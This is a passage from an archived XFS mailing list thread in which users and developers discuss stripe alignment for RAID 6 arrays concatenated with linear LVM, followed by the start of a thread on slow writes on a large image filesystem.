hardware to better suite. But I'd really like to fully understand this. Thanks for any insight you are able to give Regards On 25 September 2013 22:57, Dave Chinner wrote: > On Wed, Sep 25, 2013 at 03:34:01PM -0600, Chris Murphy wrote: > > > > On Sep 25, 2013, at 3:18 PM, Stan Hoeppner > wrote: > > > > > On 9/25/2013 7:56 AM, Stewart Webb wrote: > > >> Hi All, > > > > > > Hi Stewart, > > > > > >> I am trying to do the following: > > >> 3 x Hardware RAID Cards each with a raid 6 volume of 12 disks > presented to > > >> the OS > > >> all raid units have a "stripe size" of 512 KB > > > > > > Just for future reference so you're using correct terminology, a value > > > of 512KB is surely your XFS su value, also called a "strip" in LSI > > > terminology, or a "chunk" in Linux software md/RAID terminology. This > > > is the amount of data written to each data spindle (excluding parity) > in > > > the array. > > > > > > "Stripe size" is a synonym of XFS sw, which is su * #disks. This is > the > > > amount of data written across the full RAID stripe (excluding parity). > > > > > >> so given the info on the xfs.org wiki - I sould give each filesystem > a > > >> sunit of 512 KB and a swidth of 10 (because RAID 6 has 2 parity disks) > > > > > > Partially correct. If you format each /dev/[device] presented by the > > > RAID controller with an XFS filesystem, 3 filesystems total, then your > > > values above are correct. EXCEPT you must use the su/sw parameters in > > > mkfs.xfs if using BYTE values. See mkfs.xfs(8) > > > > > >> all well and good > > >> > > >> But - I would like to use Linear LVM to bring all 3 cards into 1 > logical > > >> volume - > > >> here is where my question crops up: > > >> Does this effect how I need to align the filesystem? > > > > > > In the case of a concatenation, which is what LVM linear is, you should > > > use an XFS alignment identical to that for a single array as above. > ^^^^^^ > > So keeping the example, 3 arrays x 10 data disks, would this be su=512k > and sw=30? > > No, the alignment should match that of a *single* 10 disk array, > so su=512k,sw=10. > > Linear concatentation looks like this: > > offset volume array > 0 +-D1-+-D2-+.....+-Dn-+ 0 # first sw > ..... > X-sw +-D1-+-D2-+.....+-Dn-+ 0 > X +-E1-+-E2-+.....+-En-+ 1 # first sw > ..... > 2X-sw +-E1-+-E2-+.....+-En-+ 1 > 2X +-F1-+-F2-+.....+-Fn-+ 2 # first sw > ..... > 3X-sw +-F1-+-F2-+.....+-Fn-+ 2 > > Where: > D1...Dn are the disks in the first array > E1...En are the disks in the second array > F1...Fn are the disks in the third array > X is the size of the each array > sw = su * number of data disks in array > > As you can see, all the volumes are arranged in a single column - > identical to a larger single array of the same size. Hence the > exposed alignment of a single array is what the filesystem should be > aligned to, as that is how the linear concat behaves. > > You also might note here that if you want the second and subsequent > arrays to be correctly aligned to the initial array in the linear > concat (and you do want that), the arrays must be sized to be an > exact multiple of the stripe width. > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > -- Stewart Webb --089e01228a48b1255804e74588d6 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
    Thanks for all this info Stan and Dave,

    > "Stripe size= " is a synonym of XFS sw, which is su * #disks. =A0This is the<= br style=3D"font-family:arial,sans-serif;font-size:13px"> > amount of = data written across the full RAID stripe (excluding parity).

    The reason I stated Stripe size is because in this in= stance, I have 3ware RAID controllers, which refer to
    this value as "Stripe" in their tw_cli software (god bless m= anufacturers renaming everything)

    I do, however, h= ave a follow-on question:
    On other systems, I have similar hardwa= re:
    3x Raid Controllers
    1 of them has 10 disks as RAID 6 that I = would like to add to a logical volume
    2 of them have 12 disks as = a RAID 6 that I would like to add to the same logical volume

    All have the same "Stripe" or "Strip Size&quo= t; of 512 KB

    So if I where going to make 3 seperat= e xfs volumes, I would do the following:
    mkfs.xfs -d su=3D512k sw= =3D8 /dev/sda
    mkfs.xfs -d su=3D512k sw=3D10 /dev/sdb
    mkfs.xfs -d su=3D512k= sw=3D10 /dev/sdc

    I assume, If I where going to br= ing them all into 1 logical volume, it would be best placed to have the sw = value set
    to a value that is divisible by both 8 and 10 - in this case 2?
    <= div>
    Obviously, this is not an ideal situation, and I will mo= st likely modify the hardware to better suite.
    But I'd really= like to fully understand this.

    Thanks for any insight you are able to give
    <= br>
    Regards


    On 25 September 2013 22:57, Dave Chinner <david@from= orbit.com> wrote:
    On W= ed, Sep 25, 2013 at 03:34:01PM -0600, Chris Murphy wrote:
    >
    > On Sep 25, 2013, at 3:18 PM, Stan Hoeppner <stan@hardwarefreak.com> wrote:
    >
    > > On 9/25/2013 7:56 AM, Stewart Webb wrote:
    > >> Hi All,
    > >
    > > Hi Stewart,
    > >
    > >> I am trying to do the following:
    > >> 3 x Hardware RAID Cards each with a raid 6 volume of 12 disks= presented to
    > >> the OS
    > >> all raid units have a "stripe size" of 512 KB
    > >
    > > Just for future reference so you're using correct terminology= , a value
    > > of 512KB is surely your XFS su value, also called a "strip&q= uot; in LSI
    > > terminology, or a "chunk" in Linux software md/RAID ter= minology. =A0This
    > > is the amount of data written to each data spindle (excluding par= ity) in
    > > the array.
    > >
    > > "Stripe size" is a synonym of XFS sw, which is su * #di= sks. =A0This is the
    > > amount of data written across the full RAID stripe (excluding par= ity).
    > >
    > >> so given the info on the xfs.org wiki - I sould give each filesystem a
    > >> sunit of 512 KB and a swidth of 10 (because RAID 6 has 2 pari= ty disks)
    > >
    > > Partially correct. =A0If you format each /dev/[device] presented = by the
    > > RAID controller with an XFS filesystem, 3 filesystems total, then= your
    > > values above are correct. =A0EXCEPT you must use the su/sw parame= ters in
    > > mkfs.xfs if using BYTE values. =A0See mkfs.xfs(8)
    > >
    > >> all well and good
    > >>
    > >> But - I would like to use Linear LVM to bring all 3 cards int= o 1 logical
    > >> volume -
    > >> here is where my question crops up:
    > >> Does this effect how I need to align the filesystem?
    > >
    > > In the case of a concatenation, which is what LVM linear is, you = should
    > > use an XFS alignment identical to that for a single array as abov= e.
    =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0= =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0^^^^^^
    > So keeping the example, 3 arrays x 10 data disks, wo= uld this be su=3D512k and sw=3D30?

    No, the alignment should match that of a *single* 10 disk array,
    so su=3D512k,sw=3D10.

    Linear concatentation looks like this:

    offset =A0 =A0 =A0 =A0 =A0volume =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 = =A0 =A0 =A0array
    0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 +-D1-+-D2-+.....+-Dn-+ =A0 =A0 =A0 =A0 =A00 = =A0 =A0 =A0 # first sw
    .....
    X-sw =A0 =A0 =A0 =A0 =A0 =A0+-D1-+-D2-+.....+-Dn-+ =A0 =A0 =A0 =A0 =A00
    X =A0 =A0 =A0 =A0 =A0 =A0 =A0 +-E1-+-E2-+.....+-En-+ =A0 =A0 =A0 =A0 =A01 = =A0 =A0 =A0 # first sw
    .....
    2X-sw =A0 =A0 =A0 =A0 =A0 +-E1-+-E2-+.....+-En-+ =A0 =A0 =A0 =A0 =A01
    2X =A0 =A0 =A0 =A0 =A0 =A0 =A0+-F1-+-F2-+.....+-Fn-+ =A0 =A0 =A0 =A0 =A02 = =A0 =A0 =A0 # first sw
    .....
    3X-sw =A0 =A0 =A0 =A0 =A0 +-F1-+-F2-+.....+-Fn-+ =A0 =A0 =A0 =A0 =A02

    Where:
    =A0 =A0 =A0 =A0 D1...Dn are the disks in the first array
    =A0 =A0 =A0 =A0 E1...En are the disks in the second array
    =A0 =A0 =A0 =A0 F1...Fn are the disks in the third array
    =A0 =A0 =A0 =A0 X is the size of the each array
    =A0 =A0 =A0 =A0 sw =3D su * number of data disks in array

    As you can see, all the volumes are arranged in a single column -
    identical to a larger single array of the same size. =A0Hence the
    exposed alignment of a single array is what the filesystem should be
    aligned to, as that is how the linear concat behaves.

    You also might note here that if you want the second and subsequent
    arrays to be correctly aligned to the initial array in the linear
    concat (and you do want that), the arrays must be sized to be an
    exact multiple of the stripe width.

    Cheers,

    Dave.
    --
    Dave Chinner
    david@fromorbit.com

    _______________________________________________
    xfs mailing list
    xfs@oss.sgi.com
    http:= //oss.sgi.com/mailman/listinfo/xfs



    --
    =
    Stewart Webb
    --089e01228a48b1255804e74588d6-- From stan@hardwarefreak.com Thu Sep 26 04:22:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2BCF77F5A for ; Thu, 26 Sep 2013 04:22:27 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0965C304043 for ; Thu, 26 Sep 2013 02:22:23 -0700 (PDT) X-ASG-Debug-ID: 1380187343-04cbb02c3e143ffd0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id bdoV8uHZnRfBejLr for ; Thu, 26 Sep 2013 02:22:23 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 1A1386C15C; Thu, 26 Sep 2013 04:22:23 -0500 (CDT) Message-ID: <5243FCD6.4000701@hardwarefreak.com> Date: Thu, 26 Sep 2013 04:22:30 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Stewart Webb CC: Dave Chinner , Chris Murphy , "xfs@oss.sgi.com" Subject: Re: xfs hardware RAID alignment over linear lvm References: <52435327.9080607@hardwarefreak.com> <2F959FD9-EF28-4495-9D0B-59B93D89C820@colorremedies.com> <20130925215713.GH26872@dastard> X-ASG-Orig-Subj: Re: xfs hardware RAID alignment over linear lvm In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1380187343 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 9/26/2013 3:55 AM, Stewart Webb wrote: > Thanks for all this info Stan and Dave, > >> "Stripe size" is a synonym of XFS sw, which is su * #disks. This is the >> amount of data written across the full RAID stripe (excluding parity). > > The reason I stated Stripe size is because in this instance, I have 3ware > RAID controllers, which refer to > this value as "Stripe" in their tw_cli software (god bless manufacturers > renaming everything) > > I do, however, have a follow-on question: > On other systems, I have similar hardware: > 3x Raid Controllers > 1 of them has 10 disks as RAID 6 that I would like to add to a logical > volume > 2 of them have 12 disks as a RAID 6 that I would like to add to the same > logical volume > > All have the same "Stripe" or "Strip Size" of 512 KB > > So if I where going to make 3 seperate xfs volumes, I would do the > following: > mkfs.xfs -d su=512k sw=8 /dev/sda > mkfs.xfs -d su=512k sw=10 /dev/sdb > mkfs.xfs -d su=512k sw=10 /dev/sdc > > I assume, If I where going to bring them all into 1 logical volume, it > would be best placed to have the sw value set > to a value that is divisible by both 8 and 10 - in this case 2? No. In this case you do NOT stripe align XFS to the storage, because it's impossible--the RAID stripes are dissimilar. In this case you use the default 4KB write out, as if this is a single disk drive. As Dave stated, if you format a concatenated device with XFS and you desire to align XFS, then all constituent arrays must have the same geometry. Two things to be aware of here: 1. With a decent hardware write caching RAID controller, having XFS alined to the RAID geometry is a small optimization WRT overall write performance, because the controller is going to be doing the optimizing of final writeback to the drives. 2. Alignment does not affect read performance. 3. XFS only performs aligned writes during allocation. I.e. this only occurs when creating a new file, new inode, etc. For append and modify-in-place operations, there is no write alignment. So again, stripe alignment to the hardware geometry is merely an optimization, and only affect some types of writes. What really makes a difference as to whether alignment will be of benefit to you, and how often, is your workload. So at this point, you need to describe the primary workload(s) of your systems we're discussing. -- Stan From stew@messeduphare.co.uk Thu Sep 26 04:28:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9F5507F5F for ; Thu, 26 Sep 2013 04:28:02 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 86FAC304032 for ; Thu, 26 Sep 2013 02:28:02 -0700 (PDT) X-ASG-Debug-ID: 1380187681-04cbb02c3c1440700001-NocioJ Received: from mail-oa0-f47.google.com (mail-oa0-f47.google.com [209.85.219.47]) by cuda.sgi.com with ESMTP id nwLMSxUrIWo1bCmo (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 26 Sep 2013 02:28:01 -0700 (PDT) X-Barracuda-Envelope-From: stew@messeduphare.co.uk X-Barracuda-Apparent-Source-IP: 209.85.219.47 Received: by mail-oa0-f47.google.com with SMTP id i1so368979oag.6 for ; Thu, 26 Sep 2013 02:28:01 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=7jwT2nYKZ6OyjO2DUZPNFbE0meA+tzby8ddCflGzR0A=; b=foyIp8klZ52RFQ0wlokcjtinkMVlUssGhCEQNUeju9TRr7Lp/iJlyla7WTz5EPjh8i 5yI3Gd3wKcgZQhmlaPegOIdYN1sAYv/d+MD3/dKIofVJV+SYmvpPSvhQuRcvEjlR0J/Y A0BQM4m+UKMAYYY+mJZqTjBN/t3JIo65EjFncl7NNRBXMV6caDMF/cmdoWDHvM0CDfXc HyULX5mI42Wq6hE5fjj7ThOihLBb3uOjz1bSYWH/VHFMLsL0fz8XwI7S8APBh8aibx02 wuRY4R3M8/gaaXprsiEuuolPTPsJvQY4A2pITYJoX+kNnn/LBU1vAIX5D/xce/7zMn6Q 8Keg== X-Gm-Message-State: ALoCoQlopn0YEs9rTnuDXKgsB7SLupxNpkmYj0PGLrkL45ReJd7/6T0/ycUSeb19YNwTR4CW8Xoe MIME-Version: 1.0 X-Received: by 10.182.200.129 with SMTP id js1mr495946obc.55.1380187680864; Thu, 26 Sep 2013 02:28:00 -0700 (PDT) Received: by 10.182.24.74 with HTTP; Thu, 26 Sep 2013 02:28:00 -0700 (PDT) In-Reply-To: <5243FCD6.4000701@hardwarefreak.com> References: <52435327.9080607@hardwarefreak.com> <2F959FD9-EF28-4495-9D0B-59B93D89C820@colorremedies.com> <20130925215713.GH26872@dastard> <5243FCD6.4000701@hardwarefreak.com> Date: Thu, 26 Sep 2013 10:28:00 +0100 Message-ID: Subject: Re: xfs hardware RAID alignment over linear lvm From: Stewart Webb X-ASG-Orig-Subj: Re: xfs hardware RAID alignment over linear lvm To: stan@hardwarefreak.com Cc: Dave Chinner , Chris Murphy , "xfs@oss.sgi.com" Content-Type: multipart/alternative; boundary=001a11c23696710c8a04e745fcf3 X-Barracuda-Connect: mail-oa0-f47.google.com[209.85.219.47] X-Barracuda-Start-Time: 1380187681 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140938 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 HTML_MESSAGE BODY: HTML included in message --001a11c23696710c8a04e745fcf3 Content-Type: text/plain; charset=ISO-8859-1 Understood, My workload is primarily reads (about 80%+ read operations) - so defaults will most likely be best suited on this occasion. I was simply trying to follow the guidelines on the XFS wiki to the best of my ability, and felt I didn't understand the impact of using this via LVM. Now I feel I understand enough to continue in what I need to do. Thanks again On 26 September 2013 10:22, Stan Hoeppner wrote: > On 9/26/2013 3:55 AM, Stewart Webb wrote: > > Thanks for all this info Stan and Dave, > > > >> "Stripe size" is a synonym of XFS sw, which is su * #disks. This is the > >> amount of data written across the full RAID stripe (excluding parity). > > > > The reason I stated Stripe size is because in this instance, I have 3ware > > RAID controllers, which refer to > > this value as "Stripe" in their tw_cli software (god bless manufacturers > > renaming everything) > > > > I do, however, have a follow-on question: > > On other systems, I have similar hardware: > > 3x Raid Controllers > > 1 of them has 10 disks as RAID 6 that I would like to add to a logical > > volume > > 2 of them have 12 disks as a RAID 6 that I would like to add to the same > > logical volume > > > > All have the same "Stripe" or "Strip Size" of 512 KB > > > > So if I where going to make 3 seperate xfs volumes, I would do the > > following: > > mkfs.xfs -d su=512k sw=8 /dev/sda > > mkfs.xfs -d su=512k sw=10 /dev/sdb > > mkfs.xfs -d su=512k sw=10 /dev/sdc > > > > I assume, If I where going to bring them all into 1 logical volume, it > > would be best placed to have the sw value set > > to a value that is divisible by both 8 and 10 - in this case 2? > > No. In this case you do NOT stripe align XFS to the storage, because > it's impossible--the RAID stripes are dissimilar. In this case you use > the default 4KB write out, as if this is a single disk drive. > > As Dave stated, if you format a concatenated device with XFS and you > desire to align XFS, then all constituent arrays must have the same > geometry. > > Two things to be aware of here: > > 1. With a decent hardware write caching RAID controller, having XFS > alined to the RAID geometry is a small optimization WRT overall write > performance, because the controller is going to be doing the optimizing > of final writeback to the drives. > > 2. Alignment does not affect read performance. > > 3. XFS only performs aligned writes during allocation. I.e. this only > occurs when creating a new file, new inode, etc. For append and > modify-in-place operations, there is no write alignment. So again, > stripe alignment to the hardware geometry is merely an optimization, and > only affect some types of writes. > > What really makes a difference as to whether alignment will be of > benefit to you, and how often, is your workload. So at this point, you > need to describe the primary workload(s) of your systems we're discussing. > > -- > Stan > > -- Stewart Webb --001a11c23696710c8a04e745fcf3 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
    Understood,

    My workload is primarily re= ads (about 80%+ read operations) - so defaults will most likely
    b= e best suited on this occasion.

    I was simply tryin= g to follow the guidelines on the XFS wiki to
    the best of my ability, and felt I didn't understand the impact of= using this via LVM.

    Now I feel I understand enoug= h to continue in what I need to do.

    Thanks again


    On 26 S= eptember 2013 10:22, Stan Hoeppner <stan@hardwarefreak.com> wrote:
    On 9/26/2013 3:55 AM, Stew= art Webb wrote:
    > Thanks for all this info Stan and Dave,
    >
    >> "Stripe size" is a synonym of XFS sw, which is su * #dis= ks. =A0This is the
    >> amount of data written across the full RAID stripe (excluding pari= ty).
    >
    > The reason I stated Stripe size is because in this instance, I have 3w= are
    > RAID controllers, which refer to
    > this value as "Stripe" in their tw_cli software (god bless m= anufacturers
    > renaming everything)
    >
    > I do, however, have a follow-on question:
    > On other systems, I have similar hardware:
    > 3x Raid Controllers
    > 1 of them has 10 disks as RAID 6 that I would like to add to a logical=
    > volume
    > 2 of them have 12 disks as a RAID 6 that I would like to add to the sa= me
    > logical volume
    >
    > All have the same "Stripe" or "Strip Size" of 512 = KB
    >
    > So if I where going to make 3 seperate xfs volumes, I would do the
    > following:
    > mkfs.xfs -d su=3D512k sw=3D8 /dev/sda
    > mkfs.xfs -d su=3D512k sw=3D10 /dev/sdb
    > mkfs.xfs -d su=3D512k sw=3D10 /dev/sdc
    >
    > I assume, If I where going to bring them all into 1 logical volume, it=
    > would be best placed to have the sw value set
    > to a value that is divisible by both 8 and 10 - in this case 2?

    No. =A0In this case you do NOT stripe align XFS to the storage, becau= se
    it's impossible--the RAID stripes are dissimilar. =A0In this case you u= se
    the default 4KB write out, as if this is a single disk drive.

    As Dave stated, if you format a concatenated device with XFS and you
    desire to align XFS, then all constituent arrays must have the same
    geometry.

    Two things to be aware of here:

    1. =A0With a decent hardware write caching RAID controller, having XFS
    alined to the RAID geometry is a small optimization WRT overall write
    performance, because the controller is going to be doing the optimizing
    of final writeback to the drives.

    2. Alignment does not affect read performance.

    3. =A0XFS only performs aligned writes during allocation. =A0I.e. this only=
    occurs when creating a new file, new inode, etc. =A0For append and
    modify-in-place operations, there is no write alignment. =A0So again,
    stripe alignment to the hardware geometry is merely an optimization, and only affect some types of writes.

    What really makes a difference as to whether alignment will be of
    benefit to you, and how often, is your workload. =A0So at this point, you need to describe the primary workload(s) of your systems we're discussi= ng.

    --
    Stan




    --
    Stewart Webb
    --001a11c23696710c8a04e745fcf3-- From rtartar@host2max.com Thu Sep 26 06:47:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A4ED57F61 for ; Thu, 26 Sep 2013 06:47:25 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 681E3304032 for ; Thu, 26 Sep 2013 04:47:25 -0700 (PDT) X-ASG-Debug-ID: 1380196036-04bdf02f2314acad0001-NocioJ Received: from mail.host2max.com (mail.host2max.com [72.29.91.110]) by cuda.sgi.com with ESMTP id cgWw47HsW0A9mp9Z (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 26 Sep 2013 04:47:17 -0700 (PDT) X-Barracuda-Envelope-From: rtartar@host2max.com X-Barracuda-Apparent-Source-IP: 72.29.91.110 Received: (qmail 3785 invoked by uid 89); 26 Sep 2013 11:47:16 -0000 Received: by simscan 1.4.0 ppid: 3777, pid: 3780, t: 0.0789s scanners: attach: 1.4.0 clamav: 0.97.3/m:54/d:15366 Received: from unknown (HELO tartar301) (rtartar@host2max.com@10.8.0.6) by mail.host2max.com with ESMTPA; 26 Sep 2013 11:47:16 -0000 From: "Ronnie Tartar" To: Subject: Issues and new to the group Date: Thu, 26 Sep 2013 07:47:13 -0400 X-ASG-Orig-Subj: Issues and new to the group Message-ID: <0e4201cebaae$24873680$6d95a380$@host2max.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Outlook 14.0 Thread-Index: Ac66rTAiL/7H33wRTiqfq2gpboc35g== Content-Language: en-us X-Barracuda-Connect: mail.host2max.com[72.29.91.110] X-Barracuda-Start-Time: 1380196037 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.01 X-Barracuda-Spam-Status: No, SCORE=0.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140940 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== Hi, I have a 600GB xfs file system mounted that suddenly started running slow on writes. It takes about 2.5 to 3.5 seconds to write a single file. Some folders (with less number of files) work well. But it will copy fast, then slow for long periods of time. This is a virtualized CentOS 5.9 64 bit box on Citrix Xenserver 5.6SP2. Doesn't seem to be a load i/o issue as most of the load is system%. My fragmentation is less than 1 %. Any help would be greatly appreciated. I was looking to see if there was a better way to mount this partition or allocate more memory, whatever it takes. The folders are image folders that have anywhere between 5 to 10 million images in each folder. Thanks Fstab mount is: /dev/xvdb1 /images xfs defaults,nodiratime,nosuid,nodev,allocsize=64m 1 1 Slabtop is: Active / Total Objects (% used) : 2705947 / 2872142 (94.2%) Active / Total Slabs (% used) : 290008 / 290008 (100.0%) Active / Total Caches (% used) : 111 / 165 (67.3%) Active / Total Size (% used) : 1048796.52K / 1083850.55K (96.8%) Minimum / Average / Maximum Object : 0.02K / 0.38K / 128.00K OBJS ACTIVE USE OBJ SIZE SLABS OBJ/SLAB CACHE SIZE NAME 843080 836242 99% 0.44K 105385 8 421540K xfs_inode 839608 836242 99% 0.56K 119944 7 479776K xfs_vnode 461610 432085 93% 0.21K 25645 18 102580K dentry_cache 306200 306200 100% 0.09K 7655 40 30620K buffer_head 222570 121732 54% 0.12K 7419 30 29676K size-128 117439 97108 82% 0.52K 16777 7 67108K radix_tree_node 30820 30814 99% 0.19K 1541 20 6164K xfs_ili 13270 13266 99% 0.74K 2654 5 10616K ext3_inode_cache 9390 9390 100% 0.25K 626 15 2504K size-256 7682 7562 98% 0.16K 334 23 1336K vm_area_struct 3068 1711 55% 0.06K 52 59 208K size-64 2816 2786 98% 0.09K 64 44 256K sysfs_dir_cache 2055 1275 62% 0.25K 137 15 548K filp 1440 1289 89% 0.02K 10 144 40K anon_vma 1120 999 89% 0.03K 10 112 40K size-32 768 534 69% 0.08K 16 48 64K selinux_inode_security 756 698 92% 0.55K 108 7 432K inode_cache 576 554 96% 0.58K 96 6 384K proc_inode_cache 476 455 95% 1.00K 119 4 476K size-1024 404 403 99% 2.00K 202 2 808K size-2048 404 404 100% 4.00K 404 1 1616K size-4096 360 350 97% 0.12K 12 30 48K bio 320 284 88% 0.50K 40 8 160K size-512 From stan@hardwarefreak.com Thu Sep 26 07:06:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6BC9A7F5A for ; Thu, 26 Sep 2013 07:06:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id F0280AC002 for ; Thu, 26 Sep 2013 05:06:30 -0700 (PDT) X-ASG-Debug-ID: 1380197189-04cb6c37775f15d0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id isklaCwlWWCg5qBJ for ; Thu, 26 Sep 2013 05:06:30 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id C7BD76C177; Thu, 26 Sep 2013 07:06:29 -0500 (CDT) Message-ID: <5244234D.1010603@hardwarefreak.com> Date: Thu, 26 Sep 2013 07:06:37 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Ronnie Tartar CC: xfs@oss.sgi.com Subject: Re: Issues and new to the group References: <0e4201cebaae$24873680$6d95a380$@host2max.com> X-ASG-Orig-Subj: Re: Issues and new to the group In-Reply-To: <0e4201cebaae$24873680$6d95a380$@host2max.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1380197190 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 9/26/2013 6:47 AM, Ronnie Tartar wrote: > I have a 600GB xfs file system mounted that suddenly started running slow on > writes. It takes about 2.5 to 3.5 seconds to write a single file. Some This typically occurs when the filesystem gets near full and free space is heavily fragmented. Writing to these free space fragments requires lots of seeking. Seeking causes latency. I assume your storage device is spinning rust, yes? > folders (with less number of files) work well. But it will copy fast, then > slow for long periods of time. Some allocation groups may have less fragmented free space than others. Put another way, they may have more contiguous free space. Thus less seeking. > This is a virtualized CentOS 5.9 64 bit box > on Citrix Xenserver 5.6SP2. Doesn't seem to be a load i/o issue as most of > the load is system%. My fragmentation is less than 1 %. Any help would > be greatly appreciated. I was looking to see if there was a better way to > mount this partition or allocate more memory, whatever it takes. The > folders are image folders that have anywhere between 5 to 10 million images > in each folder. > Fstab mount is: > /dev/xvdb1 /images xfs > defaults,nodiratime,nosuid,nodev,allocsize=64m 1 1 ^^^^^^^^^^^^^ This tells XFS to allocate 64MB of free space at the end of each file being allocated. If free space is heavily fragmented and the fragments are all small, this will exacerbate the seek problem. Given the 64MB allocsize, I assume these image files are quite large. If this is correct, writing them over scattered small free space fragments also requires seeking. Thus, I'd guess you're seeking your disk, or array, to death. How full is the XFS volume, and what does your free space fragmentation map look like? -- Stan From rtartar@host2max.com Thu Sep 26 08:12:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on 